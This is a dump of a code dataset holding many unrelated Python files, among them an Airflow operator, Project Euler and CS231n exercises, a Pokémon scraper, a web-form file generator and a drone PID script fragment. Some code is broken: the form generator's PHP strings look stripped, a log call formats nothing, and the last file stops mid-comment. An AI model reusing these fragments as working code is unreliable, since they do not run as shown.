Action(1.0)\n print(a_inc3)\n act_set.validify_action(a_inc3, in_place=True) # returns a new action (preserves a_inc2)\n print(a_inc3)\n\n # checking incomplete action fill-ins for a totally missing attribute name\n a_inc4 = Action(1.0, {'gender': {'M': 1.1, 'F': 1.2, 'U': 1.0}})\n print(a_inc4)\n a_inc4_validify = act_set.validify_action(a_inc4) # in_place modification of a_inc1\n print(a_inc4_validify)\n\n # checking incomplete action fill-ins for a partially missing attribute name with a totally missing name\n a_inc5 = Action(1.0, {'gender': {'M': 1.1}})\n print(a_inc5)\n a_inc5_validify = act_set.validify_action(a_inc5) # in_place modification of a_inc1\n print(a_inc5_validify)\n","sub_path":"ssa_sim_v2/simulator/action.py","file_name":"action.py","file_ext":"py","file_size_in_byte":8580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"517305077","text":"#Entrada\r\nnum_int = int(input('digite um número de 3 digitos: '))\r\n\r\n#Processamento\r\ncentena = num_int // 100\r\nresto = num_int % 100\r\n\r\ndezena = resto // 10\r\nunidade = resto % 10\r\n\r\ninverso = unidade * 100 + dezena * 10 + centena * 1\r\nresultado = num_int + inverso\r\n\r\n#Saida\r\nprint(f' a soma entre {num_int} e o seu inverso {inverso} é igual a {resultado}')","sub_path":"f1_p2_q10_soma_inverso.py","file_name":"f1_p2_q10_soma_inverso.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"592396749","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# @File Name: problem_90.py\n# @Author: Copyright (c) 2017-03-14 01:19:49 Gillett Hernandez\n# @Date: 2017-03-14 01:19:49\n# @Last Modified by: Gillett Hernandez\n# @Last Modified time: 2017-08-10 13:11:41\n\nfrom itertools import combinations\nfrom euler_funcs import timed\n\nsquares = [tuple(int(c) for c in \"{0:02d}\".format(i**2)) for i in range(1,10)]\n\ndef verify(diceset):\n diceset = tuple((dice | set([6,9])) if len(dice & set([6,9])) != 0 else dice for dice in diceset)\n for square in squares:\n if not ((square[0] in diceset[0] and square[1] in diceset[1]) or (square[0] in diceset[1] and square[1] in diceset[0])):\n # print(square)\n return False\n else:\n return True\n@timed\ndef main():\n assert verify(({0, 5, 6, 7, 8, 9},{1, 2, 3, 4, 6, 7}))\n cache = set([])\n C = 0\n for Sa in combinations(range(10), r=6):\n for Sb in combinations(range(10), r=6):\n if frozenset((frozenset(Sa), frozenset(Sb))) in cache:\n continue\n if verify((set(Sa), set(Sb))):\n C += 1\n cache.add(frozenset((frozenset(Sa), frozenset(Sb))))\n print(C)\n\nif __name__ == '__main__':\n main()\n","sub_path":"Python/problem_90.py","file_name":"problem_90.py","file_ext":"py","file_size_in_byte":1241,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"550992088","text":"#pvprograms.weebly.com\n#Rounding\n\n\ntest = int(input())\nfor i in range(test):\n a = input()\n a = a.split(' ')\n num1 = int(a[0])\n num2 = int(a[1])\n print(round(num1/num2), end=' ')\n \n","sub_path":"PY/Rounding.py","file_name":"Rounding.py","file_ext":"py","file_size_in_byte":198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"486764395","text":"from Loader.mapLoader import mapLoader\nimport networkx as nx\nimport matplotlib.pyplot as plt\n\nplaces=[]\n\nwith open('Loader/places.txt', 'r') as f:\n i=0\n reader = f.readlines()\n for place in reader:\n if place!='\\n':\n i+=1\n places.append(place)\n\ndef loadDistances(place1, place2):\n distanceMatrix=[]\n with open('Loader/distances.txt') as results:\n for result in (results.readlines()): \n t=[] \n for i in result.split(' '): \n if i!='\\n':\n if i!='nan':\n x=float(i)\n t.append(x)\n else:\n t.append(19999)\n distanceMatrix.append(t)\n\n return distanceMatrix[places.index(place1)][places.index(place2)]\ndef makeMap(path):\n\tloader = mapLoader(100)\n\tloader.loadPlaces()\n\tloader.loadCoordinates()\n\tloader.loadGraph()\n\tfor i in range(0,len(path)-1):\n\t\tplace1 = loader.places[path[i]]\n\t\tplace2 = loader.places[path[i+1]]\n\t\tw=loadDistances(place1, place2)\n\t\tif(w>0 and w<1000):\n\t\t\tloader.Graph.add_edge(places.index(place1),places.index(place2), weight=w)\n\tpos = dict(enumerate(loader.coordinates))\n\tnx.draw(loader.Graph, pos, with_labels=True)\n\tlabels = nx.get_edge_attributes(loader.Graph,'weight')\n\tnx.draw_networkx_edge_labels(loader.Graph,pos,edge_labels=labels)\n\tplt.show()\n","sub_path":"createMap.py","file_name":"createMap.py","file_ext":"py","file_size_in_byte":1404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"613745137","text":"from airflow.hooks.postgres_hook import PostgresHook\nfrom airflow.models import BaseOperator\nfrom airflow.utils.decorators import apply_defaults\n\n\nclass LoadFactOperator(BaseOperator):\n\n ui_color = '#F98866'\n\n @apply_defaults\n def __init__(self,\n # Define your operators params (with defaults) here\n redshift_conn_id=\"\",\n target_table = \"\",\n truncate = False,\n sql=\"\",\n *args, **kwargs):\n\n super(LoadFactOperator, self).__init__(*args, **kwargs)\n # Map params here\n self.redshift_conn_id = redshift_conn_id\n self.target_table = target_table\n self.truncate = truncate\n self.sql = sql\n\n def execute(self, context):\n self.log.info('Connecting to redshift database')\n # connect to redshift\n redshift = PostgresHook(postgres_conn_id = self.redshift_conn_id)\n self.log.info('Connected to redshift database')\n \n # truncate destination table\n if self.truncate:\n self.log.info( 'Truncate is set to true; Truncating {} table in redshift'.format() )\n redshift.run(\"TRUNCATE TABLE {}\".format(self.target_table) )\n \n # Insert data by running SQL query into target_table \n self.log.info( 'Inserting data into {} table in redshift'.format(self.target_table) )\n redshift.run( self.sql )\n self.log.info(\"Success: {} fact table loaded\".format(self.target_table))\n\n\n #redshift.get_record(\")\".format(self.target_table)","sub_path":"05_datapipelines/plugins/operators/load_fact.py","file_name":"load_fact.py","file_ext":"py","file_size_in_byte":1577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"599652475","text":"\n\nclass ExternalFileGenerator:\n\tdef __init__(self,name,names,extension,form_gen=False):\n\t\tself.name = name\n\t\tself.names = names\n\t\tif form_gen != True:\n\t\t\tif extension == '.js':\n\t\t\t\tself.genJS()\n\t\t\tif extension == '.css':\n\t\t\t\tself.genCSS()\n\t\t\tif extension == '.php':\n\t\t\t\tself.genPHP()\n\t\telse:\n\t\t\tif extension == '.php':\n\t\t\t\tself.genPHPform()\n\t\t\tif extension == '.aspx':\n\t\t\t\tself.genASPform()\n\t\t\tif extension == '.jsp':\n\t\t\t\tself.genJSPform()\n\tdef genJS(self):\n\t\twith open(self.name,'w') as js:\n\t\t\ttext = \"\"\"\n/*\nAuto-generated JavaScript file\n*/\n\"\"\"\n\t\t\tjs.write(text)\n\t\t\tjs.close()\n\tdef genCSS(self):\n\t\twith open(self.name,'w') as css:\n\t\t\ttext = \"\"\"\n/*Auto-generated CSS file*/\n\"\"\"\n\tdef genPHP(self):\n\t\twith open(self.name,'w') as php:\n\t\t\ttext = \"\"\"\n\n\"\"\"\n\t\t\tphp.write(text)\n\t\t\tphp.close()\n\t\n\tdef genPHPform(self):\n\t\twith open(self.name,'w') as php:\n\t\t\ttext = \"\")\n\t\t\tphp.close()\n\tdef genASPform(self):\n\t\twith open(self.name,'w') as asp:\n\t\t\ttext = \"<%\\n'Auto-generated ASP form\\n\"\n\t\t\tfor n in self.names:\n\t\t\t\ttext += \"dim \" + n + \"\\n\"\n\t\t\tfor n in self.names:\n\t\t\t\ttext += n + \" = request.form(\\\"\" + n + \"\\\")\\n\"\n\t\t\tasp.write(text+\"%>\")\n\t\t\tasp.close()\n\tdef genJSPform(self):\n\t\twith open(self.name,'w') as jsp:\n\t\t\ttext = \"<%\\n// Auto-generated JSP form\\n\"\n\t\t\tfor n in self.names:\n\t\t\t\ttext += \"String \" + n + \" = (String)request.getParameter(\\\"\" + n + \"\\\");\\n\" \n\t\t\tjsp.write(text+\"%>\")\n\t\t\tjsp.close()\n\t\t\t\n\t\t\t\t\n\t\t\t\t\ndef genericFileCreation(name):\n\twith open(name,'w') as f:\n\t\tf.write('; Auto-generated generic file')\n\t\tf.close()\n\t\n\t\t\n","sub_path":"external.py","file_name":"external.py","file_ext":"py","file_size_in_byte":1688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"465091454","text":"# -*- coding: utf-8 -*-\n\"\"\"FILETIME timestamp implementation.\"\"\"\n\nfrom dfdatetime import definitions\nfrom dfdatetime import interface\n\n\nclass Filetime(interface.DateTimeValues):\n \"\"\"Class that implements a FILETIME timestamp.\n\n The FILETIME timestamp is a 64-bit integer that contains the number\n of 100th nano seconds since 1601-01-01 00:00:00.\n\n Do not confuse this with the FILETIME structure that consists of\n 2 x 32-bit integers and is presumed to be unsigned.\n\n Attributes:\n is_local_time (bool): True if the date and time value is in local time.\n precision (str): precision of the date and time value, which should\n be one of the PRECISION_VALUES in definitions.\n timestamp (int): FILETIME timestamp.\n \"\"\"\n\n # The difference between Jan 1, 1601 and Jan 1, 1970 in seconds.\n _FILETIME_TO_POSIX_BASE = 11644473600\n _UINT64_MAX = (1 << 64) - 1\n\n def __init__(self, timestamp=None):\n \"\"\"Initializes a FILETIME timestamp.\n\n Args:\n timestamp (Optional[int]): FILETIME timestamp.\n \"\"\"\n super(Filetime, self).__init__()\n self.precision = definitions.PRECISION_100_NANOSECONDS\n self.timestamp = timestamp\n\n def CopyFromString(self, time_string):\n \"\"\"Copies a FILETIME from a string containing a date and time value.\n\n Args:\n time_string (str): date and time value formatted as:\n YYYY-MM-DD hh:mm:ss.######[+-]##:##\n\n Where # are numeric digits ranging from 0 to 9 and the seconds\n fraction can be either 3 or 6 digits. The time of day, seconds\n fraction and time zone offset are optional. The default time zone\n is UTC.\n\n Raises:\n ValueError: if the time string is invalid or not supported.\n \"\"\"\n date_time_values = self._CopyDateTimeFromString(time_string)\n\n year = date_time_values.get(u'year', 0)\n month = date_time_values.get(u'month', 0)\n day_of_month = date_time_values.get(u'day_of_month', 0)\n hours = date_time_values.get(u'hours', 0)\n minutes = date_time_values.get(u'minutes', 0)\n seconds = date_time_values.get(u'seconds', 0)\n\n if year < 1601:\n raise ValueError(u'Year value not supported: {0!s}.'.format(year))\n\n self.timestamp = self._GetNumberOfSecondsFromElements(\n year, month, day_of_month, hours, minutes, seconds)\n self.timestamp += self._FILETIME_TO_POSIX_BASE\n self.timestamp *= 1000000\n self.timestamp += date_time_values.get(u'microseconds', 0)\n self.timestamp *= 10\n\n self.is_local_time = False\n\n def CopyToStatTimeTuple(self):\n \"\"\"Copies the FILETIME timestamp to a stat timestamp tuple.\n\n Returns:\n tuple[int, int]: a POSIX timestamp in seconds and the remainder in\n 100 nano seconds or (None, None) on error.\n \"\"\"\n if (self.timestamp is None or self.timestamp < 0 or\n self.timestamp > self._UINT64_MAX):\n return None, None\n\n timestamp, remainder = divmod(self.timestamp, 10000000)\n timestamp -= self._FILETIME_TO_POSIX_BASE\n return timestamp, remainder\n\n def GetPlasoTimestamp(self):\n \"\"\"Retrieves a timestamp that is compatible with plaso.\n\n Returns:\n int: a POSIX timestamp in microseconds or None on error.\n \"\"\"\n if (self.timestamp is None or self.timestamp < 0 or\n self.timestamp > self._UINT64_MAX):\n return\n\n timestamp, _ = divmod(self.timestamp, 10)\n return timestamp - (self._FILETIME_TO_POSIX_BASE * 1000000)\n","sub_path":"dfdatetime/filetime.py","file_name":"filetime.py","file_ext":"py","file_size_in_byte":3399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"366670412","text":"# coding: utf-8\nimport codecs, sys, os, re\n\ndef gathering(path):\n error_freq = {}\n\n anns = [f for f in os.listdir(path) if f.endswith('.ann')]\n for ann in anns:\n content = codecs.open(path + ann, 'r', 'utf-8')\n for line in content.readlines():\n if re.search('^T', line) is not None:\n error_type = line.split('\\t')[1].split()[0]\n try:\n error_freq[error_type] += 1\n except KeyError:\n error_freq[error_type] = 1\n error_types = []\n max_freq = max(error_freq.values())\n for k in error_freq.keys():\n if error_freq[k] == max_freq:\n error_types.append(k)\n return error_types","sub_path":"old_scripts/gathering.py","file_name":"gathering.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"474079271","text":"import numpy as np\nimport math\nimport matplotlib.pyplot as plt\nfrom classifiers import KNearestNeighbor\nfrom classifiers.linear_classifier import LinearSVM,Softmax\nfrom classifiers.neural_net import TwoLayerNet\nfrom gradient_check import grad_check_sparse\nfrom vis_utils import *\n\ndef plot_samples(X_train,y_train):\n classes = ['plane', 'car', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck']\n num_classes = len(classes)\n samples_per_class = 7\n for y, cls in enumerate(classes):\n idxs = np.flatnonzero(y_train == y)\n idxs = np.random.choice(idxs, samples_per_class, replace=False)\n for i, idx in enumerate(idxs):\n plt_idx = i * num_classes + y + 1\n plt.subplot(samples_per_class, num_classes, plt_idx)\n plt.imshow(X_train[idx].astype('uint8'))\n plt.axis('off')\n if i == 0:\n plt.title(cls)\n plt.show()\n\ndef generate_folds(X_train,y_train,num_folds):\n X_train_folds = np.split(X_train,num_folds)\n y_train_folds = np.split(y_train,num_folds)\n return X_train_folds,y_train_folds\n\n\ndef run_k_fold_cross_validation(X_train,y_train,num_folds,k,k_accuracy):\n X_train_folds,y_train_folds = generate_folds(X_train,y_train,num_folds)\n accuracy = 0.0\n accuracy_list = []\n for i in range(num_folds):\n val_fold_x = X_train_folds[i]\n val_fold_y = y_train_folds[i]\n temp_X_train = np.concatenate(X_train_folds[:i] + X_train_folds[i+ 1:])\n temp_y_train = np.concatenate(y_train_folds[:i] + y_train_folds[i + 1:])\n classifier = KNearestNeighbor()\n classifier.train(temp_X_train,temp_y_train)\n dists = classifier.compute_distances_no_loops(val_fold_x)\n val_pred_y = classifier.predict_labels(dists,k)\n num_correct = np.sum(val_pred_y == val_fold_y)\n accuracy_list.append((float(num_correct) / val_pred_y.shape[0]))\n accuracy = accuracy+(float(num_correct) / val_pred_y.shape[0])\n k_accuracy[k] = accuracy_list\n accuracy = accuracy/num_folds\n return accuracy\n\n\n \ndef choose_best_k(X_train,y_train,num_folds):\n k_choices = [1, 3, 5, 8, 10, 12, 15, 20, 50, 100]\n k_accuracy = {}\n max_accuracy = 0.0\n max_accuracy_k = 0\n for k in k_choices:\n accuracy = run_k_fold_cross_validation(X_train,y_train,num_folds,k,k_accuracy)\n if accuracy>max_accuracy:\n max_accuracy = accuracy\n max_accuracy_k = k\n plot_cross_validation_accuracy(k_choices,k_accuracy)\n return max_accuracy_k \n\ndef interpolate(dists):\n plt.imshow(dists, interpolation='none')\n plt.show()\n\ndef plot_cross_validation_accuracy(k_choices,k_to_accuracies):\n # plot the raw observations\n for k in k_choices:\n accuracies = k_to_accuracies[k]\n plt.scatter([k] * len(accuracies), accuracies)\n\n # plot the trend line with error bars that correspond to standard deviation\n accuracies_mean = np.array([np.mean(v) for k,v in sorted(k_to_accuracies.items())])\n accuracies_std = np.array([np.std(v) for k,v in sorted(k_to_accuracies.items())])\n plt.errorbar(k_choices, accuracies_mean, yerr=accuracies_std)\n plt.title('Cross-validation on k')\n plt.xlabel('k')\n plt.ylabel('Cross-validation accuracy')\n plt.show()\n\ndef subtract_mean_image(X_train,X_val,X_test,X_dev):\n # second: subtract the mean image from train and test data\n mean_image = get_mean_image(X_train)\n X_train -= mean_image\n X_val -= mean_image\n X_test -= mean_image\n X_dev -= mean_image\n return X_train,X_val,X_test,X_dev\n\ndef get_mean_image(X_train):\n # Preprocessing: subtract the mean image\n # first: compute the image mean based on the training data\n mean_image = np.mean(X_train, axis=0)\n return mean_image\n\ndef plot_show_meaniamge(mean_image):\n print(mean_image[:10]) # print a few of the elements\n plt.figure(figsize=(4,4))\n plt.imshow(mean_image.reshape((32,32,3)).astype('uint8')) # visualize the mean image\n plt.show()\n\ndef plot_loss(loss_hist):\n # A useful debugging strategy is to plot the loss as a function of\n # iteration number:\n plt.plot(loss_hist)\n plt.xlabel('Iteration number')\n plt.ylabel('Loss value')\n plt.show()\n\ndef choose_best_svm(X_train,y_train,X_val,y_val,learning_rates,regularization_strengths):\n results = {}\n best_svm = -1\n best_val = None\n for lr in learning_rates:\n for reg in regularization_strengths:\n svm = LinearSVM()\n loss_hist = svm.train(X_train,y_train,learning_rate=lr,reg=reg,num_iters=1000)\n y_train_pred = svm.predict(X_train)\n print('training accuracy: %f' % (np.mean(y_train == y_train_pred), ))\n y_val_pred = svm.predict(X_val)\n print('validation accuracy: %f' % (np.mean(y_val == y_val_pred), ))\n results[(lr,reg)] = (np.mean(y_train == y_train_pred),np.mean(y_val == y_val_pred),svm)\n for lr, reg in sorted(results):\n train_accuracy, val_accuracy,svm = results[(lr, reg)]\n if val_accuracy>best_val:\n best_svm = svm\n best_val = val_accuracy\n print('lr %e reg %e train accuracy: %f val accuracy: %f' % (\n lr, reg, train_accuracy, val_accuracy))\n return results,best_svm,best_val\n\ndef plot_cross_validation_svm(results):\n # Visualize the cross-validation results\n x_scatter = [math.log10(x[0]) for x in results]\n y_scatter = [math.log10(x[1]) for x in results]\n\n # plot training accuracy\n marker_size = 100\n colors = [results[x][0] for x in results]\n plt.subplot(2, 1, 1)\n plt.scatter(x_scatter, y_scatter, marker_size, c=colors)\n plt.colorbar()\n plt.xlabel('log learning rate')\n plt.ylabel('log regularization strength')\n plt.title('CIFAR-10 training accuracy')\n\n # plot validation accuracy\n colors = [results[x][1] for x in results] # default size of markers is 20\n plt.subplot(2, 1, 2)\n plt.scatter(x_scatter, y_scatter, marker_size, c=colors)\n plt.colorbar()\n plt.xlabel('log learning rate')\n plt.ylabel('log regularization strength')\n plt.title('CIFAR-10 validation accuracy')\n plt.show()\n\ndef visualize_bestsvm_weights(best_svm):\n # Visualize the learned weights for each class.\n # Depending on your choice of learning rate and regularization strength, these may\n # or may not be nice to look at.\n w = best_svm.W[:-1,:] # strip out the bias\n w = w.reshape(32, 32, 3, 10)\n w_min, w_max = np.min(w), np.max(w)\n classes = ['plane', 'car', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck']\n for i in range(10):\n plt.subplot(2, 5, i + 1)\n \n # Rescale the weights to be between 0 and 255\n wimg = 255.0 * (w[:, :, :, i].squeeze() - w_min) / (w_max - w_min)\n plt.imshow(wimg.astype('uint8'))\n plt.axis('off')\n plt.title(classes[i])\n\n plt.show()\n\ndef choose_best_softmax(X_train,y_train,X_val,y_val,learning_rates,regularization_strengths):\n results = {}\n best_softmax = -1\n best_val = None\n for lr in learning_rates:\n for reg in regularization_strengths:\n softmax = Softmax()\n loss_hist = softmax.train(X_train,y_train,learning_rate=lr,reg=reg,num_iters=1000)\n y_train_pred = softmax.predict(X_train)\n print('training accuracy: %f' % (np.mean(y_train == y_train_pred), ))\n y_val_pred = softmax.predict(X_val)\n print('validation accuracy: %f' % (np.mean(y_val == y_val_pred), ))\n results[(lr,reg)] = (np.mean(y_train == y_train_pred),np.mean(y_val == y_val_pred),softmax)\n for lr, reg in sorted(results):\n train_accuracy, val_accuracy,softmax = results[(lr, reg)]\n if val_accuracy>best_val:\n best_softmax = softmax\n best_val = val_accuracy\n print('lr %e reg %e train accuracy: %f val accuracy: %f' % (\n lr, reg, train_accuracy, val_accuracy))\n return results,best_softmax,best_val\n\ndef plot_cross_validation_softmax(results):\n # Visualize the cross-validation results\n x_scatter = [math.log10(x[0]) for x in results]\n y_scatter = [math.log10(x[1]) for x in results]\n\n # plot training accuracy\n marker_size = 100\n colors = [results[x][0] for x in results]\n plt.subplot(2, 1, 1)\n plt.scatter(x_scatter, y_scatter, marker_size, c=colors)\n plt.colorbar()\n plt.xlabel('log learning rate')\n plt.ylabel('log regularization strength')\n plt.title('CIFAR-10 training accuracy')\n\n # plot validation accuracy\n colors = [results[x][1] for x in results] # default size of markers is 20\n plt.subplot(2, 1, 2)\n plt.scatter(x_scatter, y_scatter, marker_size, c=colors)\n plt.colorbar()\n plt.xlabel('log learning rate')\n plt.ylabel('log regularization strength')\n plt.title('CIFAR-10 validation accuracy')\n plt.show()\n\ndef visualize_bestsoftmax_weights(best_softmax):\n # Visualize the learned weights for each class.\n # Depending on your choice of learning rate and regularization strength, these may\n # or may not be nice to look at.\n w = best_softmax.W[:-1,:] # strip out the bias\n w = w.reshape(32, 32, 3, 10)\n w_min, w_max = np.min(w), np.max(w)\n classes = ['plane', 'car', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck']\n for i in range(10):\n plt.subplot(2, 5, i + 1)\n \n # Rescale the weights to be between 0 and 255\n wimg = 255.0 * (w[:, :, :, i].squeeze() - w_min) / (w_max - w_min)\n plt.imshow(wimg.astype('uint8'))\n plt.axis('off')\n plt.title(classes[i])\n\n plt.show()\n\ndef plot_loss_train_validation_accuracies_nn(stats):\n # Plot the loss function and train / validation accuracies\n plt.subplot(2, 1, 1)\n plt.plot(stats['loss_history'])\n plt.title('Loss history')\n plt.xlabel('Iteration')\n plt.ylabel('Loss')\n\n plt.subplot(2, 1, 2)\n plt.plot(stats['train_acc_history'], label='train')\n plt.plot(stats['val_acc_history'], label='val')\n plt.title('Classification accuracy history')\n plt.xlabel('Epoch')\n plt.ylabel('Clasification accuracy')\n plt.show()\n\ndef show_net_weights(net):\n W1 = net.params['W1']\n W1 = W1.reshape(32, 32, 3, -1).transpose(3, 0, 1, 2)\n plt.imshow(visualize_grid(W1, padding=3).astype('uint8'))\n plt.gca().axis('off')\n plt.show()\n\ndef best_nn(X_train,y_train,X_val,y_val,input_size,num_classes):\n best_net = None \n # Define discrete hyperparameters to sweep through \n hidden_size = [40, 60, 80, 100, 120]\n learning_rate = [1e-4, 5e-4, 1e-3, 5e-3]\n reg = [0.2, 0.4, 0.6]\n best_acc = -1\n\n log = {}\n\n for hs in hidden_size:\n for lr in learning_rate:\n for r in reg:\n \n # Set up the network\n net = TwoLayerNet(input_size, hs, num_classes)\n\n # Train the network\n stats = net.train(X_train, y_train, X_val, y_val,\n num_iters=1000, batch_size=200,\n learning_rate=lr, learning_rate_decay=0.95,\n reg=r, verbose=False)\n \n acc = stats['val_acc_history'][-1]\n log[(hs, lr, r)] = acc\n \n # Print Log\n print('for hs: %e, lr: %e and r: %e, valid accuracy is: %f' \n % (hs, lr, r, acc))\n \n if acc > best_acc:\n best_net = net\n best_acc = acc\n \n print('Best Networks has an Accuracy of: %f' % best_acc)","sub_path":"utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":11733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"23654803","text":"\"\"\"\r\n\r\n\tTeam Members:\r\n\t\tConner Joseph Brewster (UIN: 925004339)\r\n\t\tDuy Le (UIN: 125009667)\r\n\t\tAdam Morvant (UIN: 924004752)\r\n\tDate: Thursday, April 25th, 2019 at 12:00:00 PM Central Standard Time (Daylight Savings Time)\r\n\tCourse: CSCE-470-500 - Information Storage and Retrieval\r\n\tProfessor: Ruihong Huang\r\n\t\r\n\tQuickDex - Class Project\r\n\tInformation retrieval program for Pokémon species data.\r\n\t\r\n\tMain.java - primary Java file.\r\n\r\n\"\"\"\r\nimport requests\r\nimport lxml.html as lh\r\nimport pandas as pd\r\nimport Helper\r\nimport ImageScraper, Pokemon, CompetitiveTeams\r\nimport shutil\r\n\r\nurl = 'http://pokemondb.net/pokedex/all'\r\n\r\n\r\ndef form_dictionary(tr_elements, col):\r\n for j in range(1, len(tr_elements)):\r\n T = tr_elements[j]\r\n if len(T) != 10:\r\n break\r\n i = 0\r\n for t in T.iterchildren():\r\n data = t.text_content()\r\n if i >= 0:\r\n try:\r\n data = int(data)\r\n except:\r\n pass\r\n col[i][1].append(data)\r\n i += 1\r\n\r\n poke_dict = {title: column for (title, column) in col}\r\n df = pd.DataFrame(poke_dict)\r\n\r\n\r\n #df['Name'] = df['Name'].apply(Helper.bracket_strings)\r\n df['Type'] = df['Type'].apply(Helper.str_break)\r\n #Helper.print_full(df)\r\n df.to_json('Pokedex.json')\r\n df = pd.read_json('Pokedex.json')\r\n #df = df.set_index(['#'])\r\n df.head()\r\n return df\r\n\r\ndef print_col_names(tr_elements):\r\n col = []\r\n i = 0\r\n for t in tr_elements[0]:\r\n i += 1\r\n name = t.text_content()\r\n #print('%d:\"%s\"' % (i, name))\r\n col.append((name, []))\r\n df = form_dictionary(tr_elements, col)\r\n return df\r\n\r\n\r\n# test function, mostly useless\r\ndef print_tr_length(tr_elements):\r\n [print(len(T)) for T in tr_elements[:12]]\r\n\r\ndef find_pokemon_by_name(df):\r\n name = input(\"What pokemon are you searching for?\")\r\n name = str.lower(name)\r\n index = -1\r\n #find the pokemon\r\n for i in range(df.shape[0]):\r\n curr_pokemon = str.lower(df.iloc[i][1])\r\n if curr_pokemon == name:\r\n index = df.iloc[i][0]\r\n break\r\n \r\n return name, index\r\n\r\n# Main function.\r\ndef main():\r\n page = requests.get(url)\r\n doc = lh.fromstring(page.content)\r\n tr_elements = doc.xpath('//tr')\r\n\r\n df = print_col_names(tr_elements)\r\n pokemon, poke_id = find_pokemon_by_name(df)\r\n \r\n Pokemon.main(pokemon)\r\n CompetitiveTeams.main(pokemon)\r\n ImageScraper.download_pokemon_images(poke_id)\r\n\r\n# Run program.\r\nif __name__ == \"__main__\":\r\n shutil.rmtree('data')\r\n main()\r\n","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":2617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"191922748","text":"from PIL import Image\nimport uuid\nimport os\nimport base65536\nimport time\n\ndef main():\n im = Image.open(str(input(\"Image Name: \")))\n start = time.time()\n i = True\n while i == True:\n try:\n uui = str(uuid.uuid4())\n os.mkdir(uui)\n i = False\n except:\n h = 0\n print(\"A\")\n print(im.height+(im.width*im.height))\n im.save(\"gr.png\")\n im = Image.open(\"gr.png\")\n out = im\n out\n red = []\n blu = []\n gre = []\n for y in range(im.height):\n for x in range(im.width):\n red.append(\"{} \".format(base65536.encode(\n bytes(\n str(\n out.getpixel(\n (x,y)\n )\n [0]\n )\n ,'utf-8'\n ))))\n gre.append(\"{} \".format(base65536.encode(\n bytes(\n str(\n out.getpixel(\n (x,y)\n )\n [1]\n )\n ,'utf-8'\n ))))\n blu.append(\"{} \".format(base65536.encode(\n bytes(\n str(\n out.getpixel(\n (x,y)\n )\n [2]\n )\n ,'utf-8'\n ))))\n gre.append(\"\\n \")\n blu.append(\"\\n \")\n red.append(\"\\n \")\n flr = open(\"{}\\imgr.txt\".format(uui),\"w\", encoding=\"utf-8\")\n flg = open(\"{}\\imgg.txt\".format(uui),\"w\", encoding=\"utf-8\")\n flb = open(\"{}\\imgb.txt\".format(uui),\"w\", encoding=\"utf-8\")\n flr.write(str(\"\".join(red)))\n flg.write(str(\"\".join(gre)))\n flb.write(str(\"\".join(blu)))\n out.show()\n print(\"Took {0:0.1f} seconds\".format(time.time() - start))\n return uui\n\ndef strToimg():\n\n #fol = str(input(\"Folder: \"))\n fol = main()\n start = time.time()\n flr = open(\"{}\\imgr.txt\".format(fol),\"r\", encoding=\"utf-8\")\n flg = open(\"{}\\imgg.txt\".format(fol),\"r\", encoding=\"utf-8\")\n flb = open(\"{}\\imgb.txt\".format(fol),\"r\", encoding=\"utf-8\")\n flr = flr.read()\n flg = flg.read()\n flb = flb.read()\n #print(arr)\n yz=0\n xz=0\n for f in flr.split(\" \"):\n if f == \"\\n\":\n yz+=1\n if f != \"\\n\" and yz == 0:\n xz+=1\n print(yz)\n print(xz)\n #ou = Image.open(\"blnk.jpg\").convert('L')\n ou = Image.new(\"RGB\", (xz,yz), color=\"black\")\n y = 0\n x = 0\n narr = []\n #for f in range(0,len(arr)-1,1):\n x = 0\n flr = flr.split(\" \")\n flg = flg.split(\" \")\n flb = flb.split(\" \")\n for f in range(0,len(flr)-1,1):\n try:\n if flr[f] == \"\\n\":\n y += 1\n x = 0\n else:\n try:\n #print(base65536.decode(str(flr[f])))\n col = (int(base65536.decode(str(flr[f])),16),int(base65536.decode(str(flg[f])),16),int(base65536.decode(str(flb[f])),16))\n ou.putpixel((x,y),col)\n x += 1\n except:\n p = 0\n except ValueError:\n i = 0\n try:\n ou.save(\"{}\\Result.png\".format(fol))\n except:\n p=0\n print(\"Took {0:0.1f} seconds\".format(time.time() - start))\n return\nstrToimg()","sub_path":"comp65536.py","file_name":"comp65536.py","file_ext":"py","file_size_in_byte":3509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"604159466","text":"import os\nimport time\nimport math\nimport numpy as np\nimport RPi.GPIO as GPIO\n# os.system(\"sudo pigpiod -s 5\") #Run once to start the pigpio daemon, sample rate 1us\n# os.system(\"sudo killall pigpiod\") #To stop the pigpio daemon\ntime.sleep(1)\nimport pigpio\nfrom gpiozero import MCP3202\nimport L3G4200D_lib\nimport ADXL345_lib\nimport HMC5883L_lib\nimport Kalman\n\n#PID parameters\n# Kp_roll=2\n# Kd_roll=1\n# Ki_roll=0.0001\n# \n# Kp_pitch=2\n# Kd_pitch=1\n# Ki_pitch=0.0001\n# \n# Kp_yaw=2\n# Kd_yaw=0.5\n# 